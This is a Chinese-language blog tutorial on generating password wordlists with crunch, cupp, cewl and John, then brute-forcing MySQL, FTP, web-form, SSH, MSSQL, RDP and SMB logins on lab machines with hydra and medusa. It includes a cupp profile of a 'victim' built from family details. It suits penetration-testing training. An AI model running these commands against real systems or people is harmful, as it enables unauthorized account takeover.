大家好,我是SuieKa。
本次主要稍微詳細分析一下字典的生成和在線密碼破解工具hydra和medusa及使用案例,希望對大家學習上有幫助!
一、常見字典生成工具及使用方法
密碼常見破解方法:
人工猜測(信息收集)
垃圾桶工程
被動信息收集
基於字典暴力破解(鍵盤字符集組合)
最傳統的方法就是猜,但是有時候密碼過於難猜,在有效的辦法中,我們最好採用字典暴力破解,怎麼暴力?如何暴力?怎麼破解密碼?現在我們就來詳細說說字典暴力破解方法。
我使用的kali linux版本
root@wangzhike:~# uname -srv
Linux 5.5.0-kali2-amd64 #1 SMP Debian 5.5.17-1kali1 (2020-04-21)
kali自帶字典
Kali 系統自帶字典目錄wordlists
/usr/share/wordlists
root@wangzhike:/usr/share/wordlists# ls
dirb dirbuster fasttrack.txt fern-wifi metasploit nmap.lst rockyou.txt.gz wfuzz
dirb目錄:
root@wangzhike:/usr/share/wordlists/dirb# ls
big.txt #較大的字典
small.txt #較小的字典
euskera.txt #數據目錄字典
mutations_common.txt #備份擴展名
spanish.txt #方法名或庫文件
catala.txt #項目配置字典
extensions_common.txt #常用文件擴展名字典
others #其他,擴展目錄,默認用戶名等
stress #壓力測試
common.txt #公共字典
indexes.txt #常用首頁字典
vulns #漏洞測試
dirbuster目錄:
root@wangzhike:/usr/share/wordlists/dirbuster# ls
apache-user-enum-1.0.txt
apache-user-enum-2.0.txt #apache用戶枚舉
directories.jbrofuzz #目錄枚舉
directory-list-1.0.txt
directory-list-2.3-small.txt
directory-list-2.3-medium.txt
directory-list-lowercase-2.3-medium.txt
directory-list-lowercase-2.3-small.txt #目錄列表
fasttrack.txt #快速字典文本
常見密碼組合,比如password
fern-wifi目錄:
root@wangzhike:/usr/share/wordlists/fern-wifi# ls
common.txt #公共wifi賬戶密碼文本字典
metasploit目錄:
這個目錄裏的字典就有很多了,各種字典都有。
比如:
默認用戶密碼字典、路由器用戶密碼字典、http默認用戶密碼字典、綜合項目管理用戶及密碼、惡意網站密碼、oracle默認密碼
nmap.lst #裏面也是集結了各種密碼
rockyou.txt.gz #一個51M的字典包(命中率高的字典文件)
wfuzz目錄:
其他字典、比如網絡服務、一般字典等。
root@wangzhike:/usr/share/wordlists/wfuzz# ls
general Injections others stress vulns webservices
1、字典生成工具crunch
用法:crunch <min-len> <max-len> [<charset string>] [options]
– 默認是小寫字符
crunch 6 6 0123456789 -o START -d 2 -b 1mb / -c 100
-b 按大小分割字典文件(kb/kib、 mb/mib、 gb/gib)
-c 每個字典行數,也即包含密碼的個數
##以上兩個參數必須與-o START結合使用
-d 同意字符連貫出現的數量(11/aaa)
-e 字符串,定義停止生成密碼,比如-e 222222:到222222停止生成密碼
-f /path/to/charset.lstcharset-name,從charset.lst指定字符集,也即調用密碼庫文件
-i 改變出格式
-o wordlist.txt,指定輸出文件的名稱
-q filename.txt,讀取filename.txt
-s startblock,指定一個開始的字符
-t @,%^,指定字典組成規則
-u 必須是最後一個選項,禁止打印百分比
-z gzip, bzip2, lzma, and 7z,從-o選項壓縮輸出結果,支持gzip,bzip2, lzma, and 7z格式,gzip是最快壓縮率最低,bzip2是稍微慢於gzip,但比其壓縮率搞,7z最慢,但壓縮率最高。
創建精準、小的字典
root@wangzhike:/Dictionaries# crunch 6 6 0123456789 -o START -d 2
#同一個字符出現次數-2
root@wangzhike:/Dictionaries# ls
001001-998998.txt
root@wangzhike:/Dictionaries# crunch 6 6 0123456789 -o START -d 2 -b 1mb / -c 100
#生成6個字典,1M一個
root@wangzhike:/Dictionaries# ls
001001-148808.txt 148809-296626.txt 445536-593363.txt 741273-890090.txt
001001-998998.txt 296627-445535.txt 593364-741272.txt 890091-998998.txt
字典組成規則
root@wangzhike:/Dictionaries# crunch 6 6 -t @,%%^^ | more
@ 小寫字母 lalpha
, 大寫字母 ualpha
% 數字 numeric
^ 符號 symbols
比較有用的操作
生成pass01-pass99所有數字組合
crunch 6 6 -t pass%%>>npassword.txt
生成六位小寫字母密碼,其中前四位爲pass
crunch 6 6 -t pass@@>>npassword.txt
生成六位密碼,其中前四位爲pass,後二位爲特殊字符
crunch 6 6 -t pass^^>>npassword.txt
8位數數字字典
crunch 8 8 charset.lst numeric -o num8.dic
6位數數字字典
crunch 6 60123456789 –o num6.dic
製作139開頭的手機密碼字典
crunch 11 11+0123456789 -t 139%%%%%%%% -o num13.dic
在線使用生成的密碼(組合使用。即生成破解,不保存字典)
crunch 2 4 0123456789 | aircrack-ng a.cap -e MyESSID -w -
#生成一個、破解一個,不存硬盤、速度慢
2、cupp自定義字典
需要了解密碼的規則,提高生成字典的精確性
按個人信息生成其專屬密碼字典:cupp
根據個人信息生成密碼組合,適合破解個人郵箱賬號、社交媒體賬號,服務器端密碼破解不太適合
需要python解釋器
root@wangzhike:/Dictionaries# python3 -V
Python 3.8.2
git CUPP工具
root@wangzhike:/Dictionaries# apt-get install git
root@wangzhike:/Dictionaries# git clone https://github.com/Mebus/cupp.git
root@wangzhike:/Dictionaries# ls
cupp
使用方法:python3 cupp.py -選項
-h 顯示幫助信息
-i 已交互的方式製作用戶密碼字典文件
-w 使用此選項配置現有字典
-l 從倉庫下載大型字典文件
-a 直接從alecto DB解析默認用戶名和密碼
-v 顯示版本信息
生成自定義字典
交互生成:python3 cupp.py -i
root@wangzhike:/Dictionaries/cupp# python3 cupp.py -i
___________
cupp.py! # Common
\ # User
\ ,__, # Passwords
\ (oo)____ # Profiler
(__) )\
||--|| * [ Muris Kurgas | [email protected] ]
[ Mebus | https://github.com/Mebus/]
[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)
> First Name: xxx #字典名
> Surname: xxx #姓氏
> Nickname: xxx #暱稱
> Birthdate (DDMMYYYY): 12041996 #出生日期
> Partners) name: xxx #合夥人名字
> Partners) nickname: xxx #暱稱
> Partners) birthdate (DDMMYYYY): 23081993 #出生日期
> Child's name: xxx #孩子名字
> Child's nickname: xxx #暱稱
> Child's birthdate (DDMMYYYY): 27102000 #出生日期
> Pet's name: tom #寵物名字
> Company name: jieli #公司名字
> Do you want to add some key words about the victim? Y/[N]: n
#你想添加一些關於受害者的關鍵詞嗎?
> Do you want to add special chars at the end of words? Y/[N]: n
#你想在單詞的末尾加上特殊的字符嗎?
> Do you want to add some random numbers at the end of words? Y/[N]:y
#你想在單詞的末尾加一些隨機數嗎?
> Leet mode? (i.e. leet = 1337) Y/[N]: n
#Leet模式?(即leet=1337)
[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to xin.txt, counting 14213 words.
[+] Now load your pistolero with xin.txt and shoot! Good luck!
3、cewl-根據網站信息生成字典
cewl(其他參數見cewl --help)
-m:最小單詞長度
-d:爬網深度(首頁遠遠不夠,幾層頁面均收集)
-e:收集包含email地址信息
-c:每個單詞出現次數
-w:保存文件
支持基本、摘要 身份認證
支持代理
cewl 1.1.1.1(IP或域名) -m 3 -d 3 -e -c -v -w baidu.txt
例:
對百度一級深度收集信息(可指定深度)
4、john-自定義規則創建字典
使用 John the Ripper 配置文件實現密碼動態變型:(簡稱: jtr、 john)
配置文件:/etc/john/john.conf
裏面有大量的規則可使用
默認規則爲:
john --wordlist=cewl.txt --rules --stdout > wang.txt #輸出到文件
–wordlist=cewl.txt #使用密碼字典
–rules #使用默認規則,需其他規則,在john,conf配置後,使用 --rules=規則名
–stdout #會話的打印狀態
root@wangzhike:/Dictionaries# ls
baidu.txt cupp xin.txt
root@wangzhike:/Dictionaries# john --wordlist=xin.txt --rules --stdout > wan.txt
Using default input encoding: UTF-8
Press 'q' or Ctrl-C to abort, almost any other key for status
50571p 0:00:00:00 100.00% (2020-06-11 04:26) 180610p/s Xinxiaowangging
root@wangzhike:/Dictionaries# ls
baidu.txt cupp wan.txt xin.txt
root@wangzhike:/Dictionaries# more wan.txt
000000
0000010
000002000
0000027
000007
000010
00002000
000027
000100
0001000
000102000
自定義規則:修改john配置文件添加規則或者修改規則使用
root@wangzhike:/Dictionaries# vi /etc/john/john.conf
直接使用即可
john --wordlist=xin.txt --rules=Wordlist --stdout > wang.txt
5、pw-inspector精簡字典
篩選字典內容
-i 輸入文件 -o 輸出文件 -m 有效密碼的最小長度 -M 有效密碼的最大長度 -l 小寫字母 -u 大學字母 -p 可打印的字符 -s 特殊字符 -n 數字
pw-inspector -i /usr/share/wordlists/nmap.lst -o p.lst -l
pw-inspector -i /usr/share/wordlists/nmap.lst -o pp.lst -u
二、密碼破解工具hydra案例
在線密碼破解: hydra(人稱九頭蛇) 在線的服務,kali中自帶神器,使用字典嘗試密碼,一個個測試,破解暴力, 有時候破解容易失敗。
hydra是黑客組織thc的一款開源密碼攻擊工具,功能十分強大,支持多種協議的破解,在KALI的終端中執行hydra -h可以看到詳細介紹。
常用參數
Options:
-R 繼續從上一次進度接着破解
-I 忽略已破解的文件進行破解
-S 採用SSL鏈接
-s PORT 指定非默認服務端口
-l LOGIN 指定用戶名破解
-L FILE 指定用戶名字典
-p PASS 指定密碼破解
-P FILE 指定密碼字典
-y 爆破中不使用符號
-e nsr "n"嘗試空密碼, "s"嘗試指定密碼,"r"反向登錄
-C FILE 使用冒號分割格式,例如"登錄名:密碼"來代替-L/-P參數
-M FILE 每行一條攻擊的服務器列表, ':'指定端口
-o FILE 指定結果輸出文件
-b FORMAT 爲-o FILE輸出文件指定輸出格式:text(默認), json, jsonv1
-f / -F 找到登錄名和密碼時停止破解
-t TASKS 設置運行的線程數,默認是16
-w / -W TIME 設置最大超時的時間,單位秒,默認是30s
-c TIME 每次破解等待所有線程的時間
-4 / -6 使用IPv4(默認)或IPv6
-v / -V 顯示詳細過程
-q 不打印連接失敗的信息
-U 服務模塊詳細使用方法
-h 更多命令行參數介紹
server 目標DNS、IP地址或一個網段
service 要破解的服務名
OPT 一些服務模塊的可選參數
支持的協議: adam6500、asterisk、cisco、cisco-enable、cvs、firebird、ftp、ftps、http[s]-{head|get|post}、http[s]-{get|post}-form、http-proxy、http-proxy-urlenum、icq、imap[s]、irc、ldap2[s]、ldap3[-{cram|digest}md5][s]、mssql、mysql、nntp、oracle-listener、oracle-sid、pcanywhere、pcnfs、pop3[s]、postgres、radmin2、rdp、redis、rexec、rlogin、rpcap、rsh、rtsp、s7-300、sip、smb、smtp[s]、smtp-enum、snmp、socks5、ssh、sshkey、svn、teamspeak、telnet[s]、vmauthd、vnc、xmpp
kali linuxIP地址:192.168.1.106
1、hydra破解mysql數據庫
靶機(linux系統):192.168.1.107
root@wangzhike:~# hydra -l root -P password.txt 192.168.1.107 mysql
#-P /usr/share/wordlists/dirb/small.txt #可使用自帶小字典(路徑)
說明靶機mysql數據庫爲空密碼
2、hydra破解ftp服務
靶機(linux):192.168.1.107
掃描靶機2121端口和服務,判斷是否有ftp服務
root@wangzhike:~# nmap -p2121 -sV 192.168.1.107
root@wangzhike:~# hydra -L user.txt -p password.txt ftp://192.168.1.107 -s 21 -e nsr -o ftp.txt -t 16
#-L user.txt #用戶字典
#-p password.txt #密碼字典
#-o ftp.txt #輸出到文本
3、hydra破解http服務
靶機(linux):192.168.1.107
本靶機自帶http服務可登錄界面
post方式提交,破解DVWA登錄用戶及密碼
root@wangzhike:~# hydra -l admin -P password.txt 192.168.1.107 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Lin:S=index.php" -V
get方式提交,破解web登錄用戶及密碼
root@wangzhike:~# hydra -l admin -p password.txt -t 2 -vV -e ns 192.168.1.107 http-get /phpMyAdmin/
4、hydra破解ssh服務(linux密碼)
靶機(linux):192.168.1.107
root@wangzhike:~# hydra -l msfadmin -p password.txt -t 2 -vV -e ns 192.168.1.107 ssh
5、hydra破解mssql
靶機(本機裝裝有mssqlserver 2008):192.168.1.105
本機的mssqlserver數據庫開啓1433端口,並設置登錄名sa及密碼爲wangzhike@123
本機關閉防火牆,並使用sa登錄mssql
root@wangzhike:~# hydra -l sa -P password.txt 192.168.1.105 mssql -vV
6、hydra破解rdb密碼
靶機(windows10_x64):192.168.1.108
root@wangzhike:~# hydra -l wangzhike -P password.txt rdp://192.168.1.108 -t 1 -Vv
7、hydra破解smb協議密碼
靶機(linux):192.168.1.107
root@wangzhike:~# hydra -l msfadmin -P password.txt smb://192.168.1.107 -vV
等等,還有很多都可用這種套路式破解
三、密碼破解工具medusa案例
hydra的缺點:
穩定性差,程序時常崩潰
速度控制不好,容易觸發服務屏蔽或鎖死機制
每主機新建進程, 每服務新建實例
大量目標破解時性能差
medusa:(美杜莎)
medusa 的特點
穩定性好
速度控制得當
基於線程
支持模塊少於hydra(不支持RDP)
WEB-Form支持存在缺陷
參數
-h [TEXT] 目標主機名稱或者IP地址
-H [FILE] 包含目標主機名稱或者IP地址文件
-u [TEXT] 測試的用戶名
-U [FILE] 包含測試的用戶名文件
-p [TEXT] 測試的密碼
-P [FILE] 包含測試的密碼文件
-C [FILE] 組合條目文件
-O [FILE] 日誌信息文件
-e [n/s/ns] n代表空密碼,s代表爲密碼與用戶名相同
-M [TEXT] 模塊執行名稱
-m [TEXT] 傳遞參數到模塊
-d 顯示所有的模塊名稱
-n [NUM] 使用非默認Tcp端口
-s 啓用SSL
-r [NUM] 重試間隔時間,默認爲3秒
-t [NUM] 設定線程數量
-T 同時測試的主機總數
-L 並行化,每個用戶使用一個線程
-f 在任何主機上找到第一個賬號/密碼後,停止破解
-F 在任何主機上找到第一個有效的用戶名/密碼後停止審計。
-q 顯示模塊的使用信息
-v [NUM] 詳細級別(0-6)
-w [NUM] 錯誤調試級別(0-10)
-V 顯示版本
-Z [TEXT] 繼續掃描上一次
隨便說幾個案例,大都是一個套路
1、medusa破解ftp
靶機(linux):192.168.1.107
root@wangzhike:~# medusa -M ftp -h 192.168.1.107 -e ns -F -u ftp -P password.txt
#注意:顯示爲空密碼
2、medusa破解mysql
靶機(linux):192.168.1.107
root@wangzhike:~# medusa -M mysql -h 192.168.1.107 -e ns -F -u root -P password.txt
3、medusa破解ssh
靶機(本機kali):192.168.1.106
root@wangzhike:~# medusa -M ssh -h 192.168.1.106 -e ns -F -u root -P password.txt
4、medusa破解mssqlserver 2008
本機同上,mssql登錄sa,關閉防火牆
root@wangzhike:~# medusa -M mssql -h 192.168.1.105 -e ns -F -u sa -P password.txt
好了!希望對大家有幫助!再者記得點贊加關注喲